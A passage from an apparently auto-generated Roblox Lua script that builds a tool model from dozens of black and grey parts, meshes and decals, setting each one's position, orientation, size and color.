  1266. Part47.BottomSurface = Enum.SurfaceType.Smooth
  1267. Part47.TopSurface = Enum.SurfaceType.Smooth
  1268. Part47.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1269. Part47.Position = Vector3.new(27.0892334, 0.901122987, 138.718384)
  1270. Part47.Orientation = Vector3.new(-89.9499969, 156.720001, -157.259995)
  1271. Part47.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1272. SpecialMesh48.Parent = Part47
  1273. SpecialMesh48.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1274. SpecialMesh48.MeshType = Enum.MeshType.Wedge
  1275. SpecialMesh48.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1276. Part49.Parent = Tool0
  1277. Part49.Material = Enum.Material.SmoothPlastic
  1278. Part49.BrickColor = BrickColor.new("Black")
  1279. Part49.Reflectance = 0.050000000745058
  1280. Part49.Rotation = Vector3.new(0, 89.4599991, 0)
  1281. Part49.Anchored = true
  1282. Part49.FormFactor = Enum.FormFactor.Custom
  1283. Part49.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1284. Part49.CFrame = CFrame.new(26.9870605, 1.40820301, 138.111023, 0.00939127803, 8.71412595e-08, 0.999955893, 2.9562246e-08, 0.999999881, -8.74227624e-08, -0.999955535, 3.03819299e-08, 0.00939150155)
  1285. Part49.BottomSurface = Enum.SurfaceType.Smooth
  1286. Part49.TopSurface = Enum.SurfaceType.Smooth
  1287. Part49.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1288. Part49.Position = Vector3.new(26.9870605, 1.40820301, 138.111023)
  1289. Part49.Orientation = Vector3.new(0, 89.4599991, 0)
  1290. Part49.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1291. CylinderMesh50.Parent = Part49
  1292. CylinderMesh50.Offset = Vector3.new(0, -0.00749999983, 0)
  1293. CylinderMesh50.Scale = Vector3.new(0.450000018, 0.225000009, 0.450000018)
  1294. CylinderMesh50.Scale = Vector3.new(0.450000018, 0.225000009, 0.450000018)
  1295. Part51.Parent = Tool0
  1296. Part51.Material = Enum.Material.SmoothPlastic
  1297. Part51.BrickColor = BrickColor.new("Black")
  1298. Part51.Reflectance = 0.050000000745058
  1299. Part51.Rotation = Vector3.new(90, 0, 0.539999962)
  1300. Part51.Anchored = true
  1301. Part51.FormFactor = Enum.FormFactor.Custom
  1302. Part51.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1303. Part51.CFrame = CFrame.new(27.0948486, 1.40820301, 138.112427, 0.999955654, -0.00939129293, -7.51574873e-08, -7.35136396e-08, 1.75381615e-07, -0.999999702, 0.00939139724, 0.999955297, 1.74683493e-07)
  1304. Part51.BottomSurface = Enum.SurfaceType.Smooth
  1305. Part51.TopSurface = Enum.SurfaceType.Smooth
  1306. Part51.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1307. Part51.Position = Vector3.new(27.0948486, 1.40820301, 138.112427)
  1308. Part51.Orientation = Vector3.new(89.9599991, -23.2799988, -22.7399998)
  1309. Part51.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1310. BlockMesh52.Parent = Part51
  1311. BlockMesh52.Offset = Vector3.new(0, 0, 0.00749999983)
  1312. BlockMesh52.Scale = Vector3.new(1.07999992, 0.450000018, 0.225000009)
  1313. BlockMesh52.Scale = Vector3.new(1.07999992, 0.450000018, 0.225000009)
  1314. Part53.Parent = Tool0
  1315. Part53.Material = Enum.Material.SmoothPlastic
  1316. Part53.BrickColor = BrickColor.new("Black")
  1317. Part53.Reflectance = 0.050000000745058
  1318. Part53.Rotation = Vector3.new(0, 89.4599991, 0)
  1319. Part53.Anchored = true
  1320. Part53.FormFactor = Enum.FormFactor.Custom
  1321. Part53.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1322. Part53.CFrame = CFrame.new(27.2025146, 1.40820301, 138.11322, 0.00939127803, 7.51574945e-08, 0.999955833, -1.75381601e-07, 0.999999702, -7.35136751e-08, -0.999955297, -1.74683422e-07, 0.00939120352)
  1323. Part53.BottomSurface = Enum.SurfaceType.Smooth
  1324. Part53.TopSurface = Enum.SurfaceType.Smooth
  1325. Part53.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1326. Part53.Position = Vector3.new(27.2025146, 1.40820301, 138.11322)
  1327. Part53.Orientation = Vector3.new(0, 89.4599991, 0)
  1328. Part53.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1329. CylinderMesh54.Parent = Part53
  1330. CylinderMesh54.Offset = Vector3.new(0, -0.00749999983, 0)
  1331. CylinderMesh54.Scale = Vector3.new(0.450000018, 0.225000009, 0.450000018)
  1332. CylinderMesh54.Scale = Vector3.new(0.450000018, 0.225000009, 0.450000018)
  1333. Part55.Parent = Tool0
  1334. Part55.Material = Enum.Material.SmoothPlastic
  1335. Part55.BrickColor = BrickColor.new("Black")
  1336. Part55.Reflectance = 0.050000000745058
  1337. Part55.Rotation = Vector3.new(-90, 0, 179.459991)
  1338. Part55.Anchored = true
  1339. Part55.FormFactor = Enum.FormFactor.Custom
  1340. Part55.Size = Vector3.new(0.209999993, 0.324000001, 0.200000003)
  1341. Part55.CFrame = CFrame.new(27.09021, 0.813232005, 138.622009, -0.999955833, -0.00939106941, 7.61370416e-08, 7.35136609e-08, 2.79689573e-07, 0.999999523, -0.00939126313, 0.999955058, -2.7898696e-07)
  1342. Part55.BottomSurface = Enum.SurfaceType.Smooth
  1343. Part55.TopSurface = Enum.SurfaceType.Smooth
  1344. Part55.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1345. Part55.Position = Vector3.new(27.09021, 0.813232005, 138.622009)
  1346. Part55.Orientation = Vector3.new(-89.9399948, 164.73999, 14.7299995)
  1347. Part55.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1348. BlockMesh56.Parent = Part55
  1349. BlockMesh56.Scale = Vector3.new(1, 1, 0.0749999955)
  1350. BlockMesh56.Scale = Vector3.new(1, 1, 0.0749999955)
  1351. Part57.Parent = Tool0
  1352. Part57.Material = Enum.Material.SmoothPlastic
  1353. Part57.BrickColor = BrickColor.new("Black")
  1354. Part57.Reflectance = 0.050000000745058
  1355. Part57.Rotation = Vector3.new(180, 0.539999962, 0)
  1356. Part57.Anchored = true
  1357. Part57.FormFactor = Enum.FormFactor.Custom
  1358. Part57.Size = Vector3.new(0.209999993, 0.200000003, 0.449999988)
  1359. Part57.CFrame = CFrame.new(27.086792, 0.846190989, 138.955017, 0.999955833, -7.51575016e-08, 0.00939106941, -7.35136609e-08, -0.999999523, -1.7538153e-07, 0.00939126313, 1.74683436e-07, -0.999955058)
  1360. Part57.BottomSurface = Enum.SurfaceType.Smooth
  1361. Part57.TopSurface = Enum.SurfaceType.Smooth
  1362. Part57.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1363. Part57.Position = Vector3.new(27.086792, 0.846190989, 138.955017)
  1364. Part57.Orientation = Vector3.new(0, 179.459991, -180)
  1365. Part57.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1366. SpecialMesh58.Parent = Part57
  1367. SpecialMesh58.Scale = Vector3.new(1, 0.419999987, 1)
  1368. SpecialMesh58.MeshType = Enum.MeshType.Wedge
  1369. SpecialMesh58.Scale = Vector3.new(1, 0.419999987, 1)
  1370. Part59.Parent = Tool0
  1371. Part59.Material = Enum.Material.SmoothPlastic
  1372. Part59.BrickColor = BrickColor.new("Black")
  1373. Part59.Reflectance = 0.050000000745058
  1374. Part59.Rotation = Vector3.new(180, 0.5, 0)
  1375. Part59.Anchored = true
  1376. Part59.FormFactor = Enum.FormFactor.Custom
  1377. Part59.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1378. Part59.CFrame = CFrame.new(27.0842285, 1.22216797, 139.222046, 0.999961853, -1.92377968e-07, 0.0087005496, -1.90859822e-07, -0.999999702, -1.75310205e-07, 0.00870066881, 1.73642931e-07, -0.999961257)
  1379. Part59.BottomSurface = Enum.SurfaceType.Smooth
  1380. Part59.TopSurface = Enum.SurfaceType.Smooth
  1381. Part59.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1382. Part59.Position = Vector3.new(27.0842285, 1.22216797, 139.222046)
  1383. Part59.Orientation = Vector3.new(0, 179.5, -180)
  1384. Part59.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1385. BlockMesh60.Parent = Part59
  1386. BlockMesh60.Scale = Vector3.new(1, 0.900000036, 0.375)
  1387. BlockMesh60.Scale = Vector3.new(1, 0.900000036, 0.375)
  1388. Part61.Parent = Tool0
  1389. Part61.Material = Enum.Material.SmoothPlastic
  1390. Part61.BrickColor = BrickColor.new("Black")
  1391. Part61.Reflectance = 0.050000000745058
  1392. Part61.Rotation = Vector3.new(-180, -89.4599991, -90)
  1393. Part61.Anchored = true
  1394. Part61.FormFactor = Enum.FormFactor.Custom
  1395. Part61.Size = Vector3.new(0.209999993, 0.540000021, 0.209999993)
  1396. Part61.CFrame = CFrame.new(27.0905762, 1.27026403, 138.553284, 1.19277473e-07, 0.00939115882, -0.999955595, 0.999999702, -2.19092939e-07, 1.17225042e-07, -2.17982333e-07, -0.999955356, -0.00939118862)
  1397. Part61.BottomSurface = Enum.SurfaceType.Smooth
  1398. Part61.TopSurface = Enum.SurfaceType.Smooth
  1399. Part61.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1400. Part61.Position = Vector3.new(27.0905762, 1.27026403, 138.553284)
  1401. Part61.Orientation = Vector3.new(0, -90.5400009, 90)
  1402. Part61.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1403. CylinderMesh62.Parent = Part61
  1404. CylinderMesh62.Offset = Vector3.new(0, 0.111000001, 0)
  1405. CylinderMesh62.Scale = Vector3.new(1.10000002, 1.39999986, 1.10000002)
  1406. CylinderMesh62.Scale = Vector3.new(1.10000002, 1.39999986, 1.10000002)
  1407. Part63.Parent = Tool0
  1408. Part63.Material = Enum.Material.SmoothPlastic
  1409. Part63.BrickColor = BrickColor.new("Black")
  1410. Part63.Reflectance = 0.050000000745058
  1411. Part63.Rotation = Vector3.new(-90, 0, 179.459991)
  1412. Part63.Anchored = true
  1413. Part63.FormFactor = Enum.FormFactor.Custom
  1414. Part63.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1415. Part63.CFrame = CFrame.new(27.0906982, 0.903075993, 138.562073, -0.999955833, -0.00939102471, 7.51575016e-08, 7.35136609e-08, 1.75381558e-07, 0.999999583, -0.00939126313, 0.999954998, -1.74683436e-07)
  1416. Part63.BottomSurface = Enum.SurfaceType.Smooth
  1417. Part63.TopSurface = Enum.SurfaceType.Smooth
  1418. Part63.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1419. Part63.Position = Vector3.new(27.0906982, 0.903075993, 138.562073)
  1420. Part63.Orientation = Vector3.new(-89.9499969, 156.720001, 22.7399998)
  1421. Part63.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1422. SpecialMesh64.Parent = Part63
  1423. SpecialMesh64.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1424. SpecialMesh64.MeshType = Enum.MeshType.Wedge
  1425. SpecialMesh64.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1426. Part65.Parent = Tool0
  1427. Part65.Material = Enum.Material.SmoothPlastic
  1428. Part65.BrickColor = BrickColor.new("Black")
  1429. Part65.Reflectance = 0.050000000745058
  1430. Part65.Rotation = Vector3.new(90, 0, 0.539999962)
  1431. Part65.Anchored = true
  1432. Part65.FormFactor = Enum.FormFactor.Custom
  1433. Part65.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1434. Part65.CFrame = CFrame.new(27.0847168, 0.901122987, 139.183044, 0.999955833, -0.00939127803, -7.51574945e-08, -7.35136751e-08, 1.75381601e-07, -0.999999702, 0.00939120352, 0.999955297, 1.74683422e-07)
  1435. Part65.BottomSurface = Enum.SurfaceType.Smooth
  1436. Part65.TopSurface = Enum.SurfaceType.Smooth
  1437. Part65.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1438. Part65.Position = Vector3.new(27.0847168, 0.901122987, 139.183044)
  1439. Part65.Orientation = Vector3.new(89.9599991, -23.2799988, -22.7399998)
  1440. Part65.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1441. SpecialMesh66.Parent = Part65
  1442. SpecialMesh66.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1443. SpecialMesh66.MeshType = Enum.MeshType.Wedge
  1444. SpecialMesh66.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1445. Part67.Parent = Tool0
  1446. Part67.Material = Enum.Material.SmoothPlastic
  1447. Part67.BrickColor = BrickColor.new("Black")
  1448. Part67.Reflectance = 0.050000000745058
  1449. Part67.Rotation = Vector3.new(0, -0.539999962, 180)
  1450. Part67.Anchored = true
  1451. Part67.FormFactor = Enum.FormFactor.Custom
  1452. Part67.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1453. Part67.CFrame = CFrame.new(27.0936279, 1.078125, 138.190063, -0.999955833, -7.51575016e-08, -0.00939102471, 7.35136609e-08, -0.999999583, 1.75381558e-07, -0.00939126313, 1.74683436e-07, 0.999954998)
  1454. Part67.BottomSurface = Enum.SurfaceType.Smooth
  1455. Part67.TopSurface = Enum.SurfaceType.Smooth
  1456. Part67.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1457. Part67.Position = Vector3.new(27.0936279, 1.078125, 138.190063)
  1458. Part67.Orientation = Vector3.new(0, -0.539999962, 180)
  1459. Part67.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1460. SpecialMesh68.Parent = Part67
  1461. SpecialMesh68.Scale = Vector3.new(1, 0.149999991, 0.299999982)
  1462. SpecialMesh68.MeshType = Enum.MeshType.Wedge
  1463. SpecialMesh68.Scale = Vector3.new(1, 0.149999991, 0.299999982)
  1464. Part69.Parent = Tool0
  1465. Part69.Material = Enum.Material.SmoothPlastic
  1466. Part69.BrickColor = BrickColor.new("Black")
  1467. Part69.Reflectance = 0.050000000745058
  1468. Part69.Rotation = Vector3.new(180, 0.539999962, -180)
  1469. Part69.Anchored = true
  1470. Part69.FormFactor = Enum.FormFactor.Custom
  1471. Part69.Size = Vector3.new(0.209999993, 0.200000003, 0.419999987)
  1472. Part69.CFrame = CFrame.new(27.086792, 0.97607398, 138.955017, -0.999955833, 7.51574945e-08, 0.00939127803, 7.35136751e-08, 0.999999702, -1.75381601e-07, -0.00939120352, -1.74683422e-07, -0.999955297)
  1473. Part69.BottomSurface = Enum.SurfaceType.Smooth
  1474. Part69.TopSurface = Enum.SurfaceType.Smooth
  1475. Part69.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1476. Part69.Position = Vector3.new(27.086792, 0.97607398, 138.955017)
  1477. Part69.Orientation = Vector3.new(0, 179.459991, 0)
  1478. Part69.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1479. SpecialMesh70.Parent = Part69
  1480. SpecialMesh70.Scale = Vector3.new(1, 0.900000036, 1.10000002)
  1481. SpecialMesh70.MeshType = Enum.MeshType.Brick
  1482. SpecialMesh70.Scale = Vector3.new(1, 0.900000036, 1.10000002)
  1483. Part71.Parent = Tool0
  1484. Part71.Material = Enum.Material.SmoothPlastic
  1485. Part71.BrickColor = BrickColor.new("Black")
  1486. Part71.Reflectance = 0.050000000745058
  1487. Part71.Rotation = Vector3.new(0, -0.539999962, 180)
  1488. Part71.Anchored = true
  1489. Part71.FormFactor = Enum.FormFactor.Custom
  1490. Part71.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1491. Part71.CFrame = CFrame.new(27.0933838, 1.00610304, 138.262009, -0.999955833, -7.51575016e-08, -0.00939106941, 7.35136609e-08, -0.999999523, 1.7538153e-07, -0.00939126313, 1.74683436e-07, 0.999955058)
  1492. Part71.BottomSurface = Enum.SurfaceType.Smooth
  1493. Part71.TopSurface = Enum.SurfaceType.Smooth
  1494. Part71.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1495. Part71.Position = Vector3.new(27.0933838, 1.00610304, 138.262009)
  1496. Part71.Orientation = Vector3.new(0, -0.539999962, 180)
  1497. Part71.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1498. SpecialMesh72.Parent = Part71
  1499. SpecialMesh72.Scale = Vector3.new(1, 0.299999982, 0.149999991)
  1500. SpecialMesh72.MeshType = Enum.MeshType.Wedge
  1501. SpecialMesh72.Scale = Vector3.new(1, 0.299999982, 0.149999991)
  1502. Part73.Parent = Tool0
  1503. Part73.Material = Enum.Material.SmoothPlastic
  1504. Part73.BrickColor = BrickColor.new("Brick yellow")
  1505. Part73.Reflectance = 0.050000000745058
  1506. Part73.Rotation = Vector3.new(118.689995, 0.25999999, 0.469999999)
  1507. Part73.Anchored = true
  1508. Part73.FormFactor = Enum.FormFactor.Custom
  1509. Part73.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1510. Part73.CFrame = CFrame.new(27.0927734, 0.473145008, 138.348206, 0.999955833, -0.00823810697, 0.00450787693, -7.35136609e-08, -0.480031699, -0.877250612, 0.00939126313, 0.877211511, -0.480010271)
  1511. Part73.BottomSurface = Enum.SurfaceType.Smooth
  1512. Part73.TopSurface = Enum.SurfaceType.Smooth
  1513. Part73.Color = Color3.new(0.843137, 0.772549, 0.603922)
  1514. Part73.Position = Vector3.new(27.0927734, 0.473145008, 138.348206)
  1515. Part73.Orientation = Vector3.new(61.3099976, 179.459991, -180)
  1516. Part73.Color = Color3.new(0.843137, 0.772549, 0.603922)
  1517. SpecialMesh74.Parent = Part73
  1518. SpecialMesh74.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1519. SpecialMesh74.MeshType = Enum.MeshType.Wedge
  1520. SpecialMesh74.Scale = Vector3.new(1, 0.180000007, 0.149999991)
  1521. Part75.Parent = Tool0
  1522. Part75.Material = Enum.Material.SmoothPlastic
  1523. Part75.BrickColor = BrickColor.new("Dark stone grey")
  1524. Part75.Reflectance = 0.050000000745058
  1525. Part75.Rotation = Vector3.new(0, -75.5400009, 90)
  1526. Part75.Anchored = true
  1527. Part75.FormFactor = Enum.FormFactor.Custom
  1528. Part75.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1529. Part75.CFrame = CFrame.new(26.9014893, 1.28222597, 138.153503, 1.172628e-07, -0.24973698, -0.968313515, 0.999999583, -1.33308845e-07, 1.55481473e-07, -1.6791428e-07, -0.968312979, 0.249736756)
  1530. Part75.BottomSurface = Enum.SurfaceType.Smooth
  1531. Part75.TopSurface = Enum.SurfaceType.Smooth
  1532. Part75.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1533. Part75.Position = Vector3.new(26.9014893, 1.28222597, 138.153503)
  1534. Part75.Orientation = Vector3.new(0, -75.5400009, 90)
  1535. Part75.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1536. CylinderMesh76.Parent = Part75
  1537. CylinderMesh76.Scale = Vector3.new(0.337500006, 0.149999991, 0.337500006)
  1538. CylinderMesh76.Scale = Vector3.new(0.337500006, 0.149999991, 0.337500006)
  1539. Part77.Parent = Tool0
  1540. Part77.Material = Enum.Material.SmoothPlastic
  1541. Part77.BrickColor = BrickColor.new("Black")
  1542. Part77.Reflectance = 0.050000000745058
  1543. Part77.Rotation = Vector3.new(-180, -89.4599991, -90)
  1544. Part77.Anchored = true
  1545. Part77.FormFactor = Enum.FormFactor.Custom
  1546. Part77.Size = Vector3.new(0.209999993, 0.200000003, 0.209999993)
  1547. Part77.CFrame = CFrame.new(27.1295166, 1.27026403, 138.262512, 7.51575016e-08, 0.00939102471, -0.999955833, 0.999999583, -1.75381558e-07, 7.35136609e-08, -1.74683436e-07, -0.999954998, -0.00939126313)
  1548. Part77.BottomSurface = Enum.SurfaceType.Smooth
  1549. Part77.TopSurface = Enum.SurfaceType.Smooth
  1550. Part77.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1551. Part77.Position = Vector3.new(27.1295166, 1.27026403, 138.262512)
  1552. Part77.Orientation = Vector3.new(0, -90.5400009, 90)
  1553. Part77.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1554. CylinderMesh78.Parent = Part77
  1555. CylinderMesh78.Scale = Vector3.new(1.10000002, 0.75, 1.02499998)
  1556. CylinderMesh78.Scale = Vector3.new(1.10000002, 0.75, 1.02499998)
  1557. Part79.Parent = Tool0
  1558. Part79.Material = Enum.Material.SmoothPlastic
  1559. Part79.BrickColor = BrickColor.new("Black")
  1560. Part79.Reflectance = 0.050000000745058
  1561. Part79.Rotation = Vector3.new(0, -0.539999962, 180)
  1562. Part79.Anchored = true
  1563. Part79.FormFactor = Enum.FormFactor.Custom
  1564. Part79.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  1565. Part79.CFrame = CFrame.new(27.0936279, 1.07519495, 138.235168, -0.999955833, -7.51575016e-08, -0.00939102471, 7.35136609e-08, -0.999999583, 1.75381558e-07, -0.00939126313, 1.74683436e-07, 0.999954998)
  1566. Part79.BottomSurface = Enum.SurfaceType.Smooth
  1567. Part79.TopSurface = Enum.SurfaceType.Smooth
  1568. Part79.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1569. Part79.Position = Vector3.new(27.0936279, 1.07519495, 138.235168)
  1570. Part79.Orientation = Vector3.new(0, -0.539999962, 180)
  1571. Part79.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1572. BlockMesh80.Parent = Part79
  1573. BlockMesh80.Scale = Vector3.new(1, 0.149999991, 0.149999991)
  1574. BlockMesh80.Scale = Vector3.new(1, 0.149999991, 0.149999991)
  1575. Part81.Parent = Tool0
  1576. Part81.Material = Enum.Material.SmoothPlastic
  1577. Part81.BrickColor = BrickColor.new("Black")
  1578. Part81.Reflectance = 0.050000000745058
  1579. Part81.Transparency = 1
  1580. Part81.Rotation = Vector3.new(0, 89.4599991, 0)
  1581. Part81.Anchored = true
  1582. Part81.FormFactor = Enum.FormFactor.Custom
  1583. Part81.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1584. Part81.CFrame = CFrame.new(26.9715576, 1.14721704, 138.434814, 0.00939127803, 7.51574945e-08, 0.999955833, -1.75381601e-07, 0.999999702, -7.35136751e-08, -0.999955297, -1.74683422e-07, 0.00939120352)
  1585. Part81.BottomSurface = Enum.SurfaceType.Smooth
  1586. Part81.TopSurface = Enum.SurfaceType.Smooth
  1587. Part81.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1588. Part81.Position = Vector3.new(26.9715576, 1.14721704, 138.434814)
  1589. Part81.Orientation = Vector3.new(0, 89.4599991, 0)
  1590. Part81.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1591. Decal82.Parent = Part81
  1592. Decal82.Texture = "http://www.roblox.com/asset/?id=30856971"
  1593. Decal83.Parent = Part81
  1594. Decal83.Texture = "http://www.roblox.com/asset/?id=30856971"
  1595. Decal83.Face = Enum.NormalId.Back
  1596. BlockMesh84.Parent = Part81
  1597. BlockMesh84.Offset = Vector3.new(0, 0, 0.119999997)
  1598. BlockMesh84.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
  1599. BlockMesh84.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
  1600. Part85.Parent = Tool0
  1601. Part85.Material = Enum.Material.SmoothPlastic
  1602. Part85.BrickColor = BrickColor.new("Black")
  1603. Part85.Reflectance = 0.20000000298023
  1604. Part85.Rotation = Vector3.new(-90, 0, 179.459991)
  1605. Part85.Anchored = true
  1606. Part85.FormFactor = Enum.FormFactor.Custom
  1607. Part85.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1608. Part85.CFrame = CFrame.new(27.2113037, 1.10522497, 138.527344, -0.999955535, -0.00939102471, 9.95769938e-08, 9.56952277e-08, 4.13800024e-07, 0.999999464, -0.00939133763, 0.999954998, -4.12883026e-07)
  1609. Part85.BottomSurface = Enum.SurfaceType.Smooth
  1610. Part85.TopSurface = Enum.SurfaceType.Smooth
  1611. Part85.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1612. Part85.Position = Vector3.new(27.2113037, 1.10522497, 138.527344)
  1613. Part85.Orientation = Vector3.new(-89.9399948, 166.440002, 13.0199995)
  1614. Part85.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1615. BlockMesh86.Parent = Part85
  1616. BlockMesh86.Offset = Vector3.new(0.0149999997, 0, 0)
  1617. BlockMesh86.Scale = Vector3.new(0.149999991, 0.225000009, 0.119999997)
  1618. BlockMesh86.Scale = Vector3.new(0.149999991, 0.225000009, 0.119999997)
  1619. Part87.Parent = Tool0
  1620. Part87.Material = Enum.Material.SmoothPlastic
  1621. Part87.BrickColor = BrickColor.new("Black")
  1622. Part87.Rotation = Vector3.new(-90, 0, -90.5400009)
  1623. Part87.Anchored = true
  1624. Part87.FormFactor = Enum.FormFactor.Custom
  1625. Part87.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1626. Part87.CFrame = CFrame.new(26.9715576, 1.07226598, 138.434814, -0.00939127803, 0.999955833, 7.51574945e-08, 1.75381601e-07, -7.35136751e-08, 0.999999702, 0.999955297, 0.00939120352, -1.74683422e-07)
  1627. Part87.BottomSurface = Enum.SurfaceType.Smooth
  1628. Part87.TopSurface = Enum.SurfaceType.Smooth
  1629. Part87.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1630. Part87.Position = Vector3.new(26.9715576, 1.07226598, 138.434814)
  1631. Part87.Orientation = Vector3.new(-89.9599991, 156.720001, 112.739998)
  1632. Part87.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1633. CylinderMesh88.Parent = Part87
  1634. CylinderMesh88.Offset = Vector3.new(0, 0.119999997, 0)
  1635. CylinderMesh88.Scale = Vector3.new(0.450000018, 1.06499994, 0.450000018)
  1636. CylinderMesh88.Scale = Vector3.new(0.450000018, 1.06499994, 0.450000018)
  1637. Part89.Parent = Tool0
  1638. Part89.Material = Enum.Material.SmoothPlastic
  1639. Part89.BrickColor = BrickColor.new("Dark stone grey")
  1640. Part89.Rotation = Vector3.new(-90, 0, 179.459991)
  1641. Part89.Anchored = true
  1642. Part89.FormFactor = Enum.FormFactor.Custom
  1643. Part89.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1644. Part89.CFrame = CFrame.new(26.9714355, 1.07226598, 138.460022, -0.999948323, -0.00939106941, 2.24161454e-07, -7.54979652e-08, 1.7537991e-07, 0.999993861, -0.00939135253, 0.999946117, -1.73282984e-07)
  1645. Part89.BottomSurface = Enum.SurfaceType.Smooth
  1646. Part89.TopSurface = Enum.SurfaceType.Smooth
  1647. Part89.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1648. Part89.Position = Vector3.new(26.9714355, 1.07226598, 138.460022)
  1649. Part89.Orientation = Vector3.new(-89.7999954, 127.709999, -23.289999)
  1650. Part89.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1651. BlockMesh90.Parent = Part89
  1652. BlockMesh90.Offset = Vector3.new(-0.0269999988, 0, 0)
  1653. BlockMesh90.Scale = Vector3.new(0.149999991, 0.180000007, 0.0749999955)
  1654. BlockMesh90.Scale = Vector3.new(0.149999991, 0.180000007, 0.0749999955)
  1655. Part91.Parent = Tool0
  1656. Part91.Material = Enum.Material.SmoothPlastic
  1657. Part91.BrickColor = BrickColor.new("Black")
  1658. Part91.Reflectance = 0.050000000745058
  1659. Part91.Transparency = 1
  1660. Part91.Rotation = Vector3.new(0, 89.4599991, 0)
  1661. Part91.Anchored = true
  1662. Part91.FormFactor = Enum.FormFactor.Custom
  1663. Part91.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1664. Part91.CFrame = CFrame.new(26.9709473, 1.06616199, 138.530884, 0.00939145684, 4.35706298e-08, 0.999955893, 1.4781123e-08, 0.99999994, -4.37113812e-08, -0.999955773, 1.51909649e-08, 0.00939150155)
  1665. Part91.BottomSurface = Enum.SurfaceType.Smooth
  1666. Part91.TopSurface = Enum.SurfaceType.Smooth
  1667. Part91.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1668. Part91.Position = Vector3.new(26.9709473, 1.06616199, 138.530884)
  1669. Part91.Orientation = Vector3.new(0, 89.4599991, 0)
  1670. Part91.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1671. Decal92.Parent = Part91
  1672. Decal92.Texture = "http://www.roblox.com/asset/?id=30856952"
  1673. Decal93.Parent = Part91
  1674. Decal93.Texture = "http://www.roblox.com/asset/?id=30856952"
  1675. Decal93.Face = Enum.NormalId.Back
  1676. BlockMesh94.Parent = Part91
  1677. BlockMesh94.Offset = Vector3.new(0, 0, 0.119999997)
  1678. BlockMesh94.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
  1679. BlockMesh94.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
  1680. Part95.Parent = Tool0
  1681. Part95.Material = Enum.Material.SmoothPlastic
  1682. Part95.BrickColor = BrickColor.new("Black")
  1683. Part95.Reflectance = 0.050000000745058
  1684. Part95.Rotation = Vector3.new(0, 89.4599991, 0)
  1685. Part95.Anchored = true
  1686. Part95.FormFactor = Enum.FormFactor.Custom
  1687. Part95.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1688. Part95.CFrame = CFrame.new(27.215332, 1.20727503, 138.719482, 0.00939106941, 1.04958431e-07, 0.999955714, -1.75381587e-07, 0.999999583, -1.03315969e-07, -0.999955237, -1.74403468e-07, 0.00939127803)
  1689. Part95.BottomSurface = Enum.SurfaceType.Smooth
  1690. Part95.TopSurface = Enum.SurfaceType.Smooth
  1691. Part95.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1692. Part95.Position = Vector3.new(27.215332, 1.20727503, 138.719482)
  1693. Part95.Orientation = Vector3.new(0, 89.4599991, 0)
  1694. Part95.Color = Color3.new(0.105882, 0.164706, 0.207843)
